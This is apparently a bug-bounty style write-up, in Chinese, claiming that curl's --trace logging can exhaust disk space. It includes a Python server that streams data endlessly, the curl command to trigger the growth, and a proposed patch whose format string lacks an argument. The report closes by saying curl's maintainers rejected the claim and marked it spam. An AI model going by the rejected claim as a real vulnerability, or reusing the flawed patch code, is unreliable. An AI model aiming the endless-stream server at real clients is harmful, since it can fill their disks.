cURL调试日志漏洞导致磁盘空间耗尽引发拒绝服务(DoS)
漏洞描述
tool_debug_cb
函数在使用--trace
或--trace-ascii
选项处理大量数据时,会向日志文件写入大量调试数据。攻击者若能诱导cURL下载或上传海量数据(如通过超大HTTP响应或无限上传),该调试函数生成的日志文件将无限增长,最终导致运行cURL的系统磁盘空间耗尽,进而影响同服务器的其他服务。
当使用--dump-header
选项时,原始HTTP头数据会被写入heads->stream
。若该流与跟踪输出使用相同文件,或使用另一个可能无限增长的文件,会加剧此问题。
漏洞代码分析
1
2
3
4
5
6
7
8
9
10
11
12
|
/* In tool_debug_cb */
if(per->config->headerfile && heads->stream) {
size_t rc = fwrite(ptr, size, nmemb, heads->stream); // <-- 漏洞写入点
if(rc != cb)
return rc;
/* flush the stream to send off what we got earlier */
if(fflush(heads->stream)) {
errorf(per->config->global, "Failed writing headers to %s",
per->config->headerfile);
return CURL_WRITEFUNC_ERROR;
}
}
|
当global->tracetype == TRACE_PLAIN
时,以下代码块处理文本、头和数据警报:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
case CURLINFO_HEADER_OUT:
if(size > 0) {
size_t st = 0;
size_t i;
for(i = 0; i < size - 1; i++) {
if(data[i] == '\n') { /* LF */
if(!newl) {
log_line_start(output, timebuf, idsbuf, type);
}
(void)fwrite(data + st, i - st + 1, 1, output); // <-- 漏洞写入点
st = i + 1;
newl = FALSE;
}
}
if(!newl)
log_line_start(output, timebuf, idsbuf, type);
(void)fwrite(data + st, i - st + 1, 1, output); // <-- 漏洞写入点
}
newl = (size && (data[size - 1] != '\n'));
traced_data = FALSE;
break;
|
漏洞验证(POC)
无限数据服务器设置[unli.py]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
import http.server
import socketserver
import time
PORT = 8002
class MyHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"[{time.ctime()}] Received GET request from {self.client_address[0]}")
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Transfer-Encoding", "chunked")
self.end_headers()
# 持续流式传输数据
try:
i = 0
while True:
chunk = f"This is chunk {i}: {'A' * 1024}\n".encode('utf-8') # 每个块1KB数据
self.wfile.write(f"{len(chunk):X}\r\n".encode('ascii')) # 十六进制块大小
self.wfile.write(chunk)
self.wfile.write(b"\r\n")
self.wfile.flush()
i += 1
except Exception as e:
print(f"[{time.ctime()}] Client disconnected or error: {e}")
finally:
# 结束分块编码
self.wfile.write(b"0\r\n\r\n")
self.wfile.flush()
with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
print(f"serving at port {PORT}")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\nServer shutting down.")
|
使用trace选项运行curl
1
|
curl http://localhost:8002/test.txt -o /dev/null --trace output.log
|
执行后,output.log
文件大小会随着服务器持续流式传输数据而快速增长,最终导致磁盘空间耗尽。
修复方案
主要修复点集中在无大小限制地向跟踪日志文件写入数据的代码段:
- 在
tool_debug_cb()
函数中,每次写入前检查文件大小:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
int tool_debug_cb(CURL *handle, curl_infotype type,
char *data, size_t size,
void *userdata)
{
struct OperationConfig *operation = userdata;
struct GlobalConfig *global = operation->global;
FILE *output = tool_stderr;
// 确保跟踪流已打开且设置了大小限制
if (global->trace_stream && global->trace_fopened && global->max_trace_log_size > 0) {
size_t estimated_write_size = estimate_formatted_data_size(type, size, global->tracetype);
// 检查当前写入是否会超出限制
if (global->current_trace_log_size + estimated_write_size > global->max_trace_log_size) {
warnf(global, "Trace log file '%s' reached maximum size (%s). Stopping further trace logging.",
global->trace_dump);
fclose(global->trace_stream);
global->trace_stream = NULL;
global->trace_fopened = FALSE;
global->tracetype = TRACE_NONE;
global->trace_dump = NULL;
return 0;
}
}
// ... 其余代码 ...
}
|
- 在
dump()
函数中实现类似的限制检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
static void dump(const char *timebuf, const char *idsbuf, const char *text,
FILE *stream, const unsigned char *ptr, size_t size,
trace tracetype, curl_infotype infotype, struct GlobalConfig *global)
{
size_t i;
size_t c;
unsigned int width = 0x10;
if(tracetype == TRACE_ASCII)
width = 0x40;
// 将初始行大小加入总量
int written_bytes = fprintf(stream, "%s%s%s, %zu bytes (0x%zx)\n", timebuf, idsbuf, text, size, size);
if (global && stream == global->trace_stream && written_bytes > 0) {
global->current_trace_log_size += written_bytes;
}
for(i = 0; i < size; i += width) {
// 写入每行前检查限制
if (global && stream == global->trace_stream && global->current_trace_log_size >= global->max_trace_log_size) {
break;
}
// ... 其余代码 ...
}
fflush(stream);
}
|
官方回应
curl开发团队认为这不是安全漏洞,因为调试日志本不应用于生产系统。若应用程序选择使用它们,则必须确保有足够资源。资源耗尽导致的DoS问题已在libcurl-security.md文档中说明,稳健的应用程序应考虑这一点。
报告最终被标记为"Spam"并公开披露。